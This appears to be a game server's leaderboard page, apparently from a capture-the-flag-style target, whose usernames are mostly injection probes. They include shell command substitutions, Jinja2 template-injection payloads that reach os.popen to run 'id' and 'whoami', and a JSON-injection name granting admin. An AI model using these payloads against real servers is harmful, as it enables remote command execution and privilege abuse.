Flappy Bird Server is running!
| User | Score |
|---|---|
| ace | 200 |
| test | 999 |
| admin | 0 |
| user1 | 100 |
| $(id) | 1 |
| `id` | 1 |
| $HOSTNAME | 1 |
| {{7*7}} | 49 |
| {{config}} | 1 |
| ${7*7} | 1 |
| %{7*7} | 1 |
| #{7*7} | 1 |
| testuser | 99999 |
| test; id; | 1 |
| test|id | 1 |
| {{self.__class__.__init__.__globals__}} | 1 |
| {{request}} | 1 |
| {{config.items()}} | 1 |
| {{().__class__.__bases__[0].__subclasses__()}} | 1 |
| {{lipsum.__globals__["os"].popen("id").read()}} | 1 |
| {{cycler.__init__.__globals__.os.popen("id").read()}} | 1 |
| {{get_flashed_messages.__globals__["__builtins__"]["__import__"]("os").popen("whoami").read()}} | 1 |
| {{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}} | 1 |
| {{range(1)}} | 1 |
| {{dict()}} | 1 |
| {{g}} | 1 |
| {{session}} | 1 |
| {{"".__class__.__mro__[1].__subclasses__()}} | 1 |
| {{"".__class__.__mro__}} | 1 |
| {{"".__class__.__mro__[2].__subclasses__()[132].__init__.__globals__["popen"]("id").read()}} | 1 |
| {{namespace.__init__.__globals__["os"].popen("id").read()}} | 1 |
| test","score":999999,"admin":true,"x":" | 1 |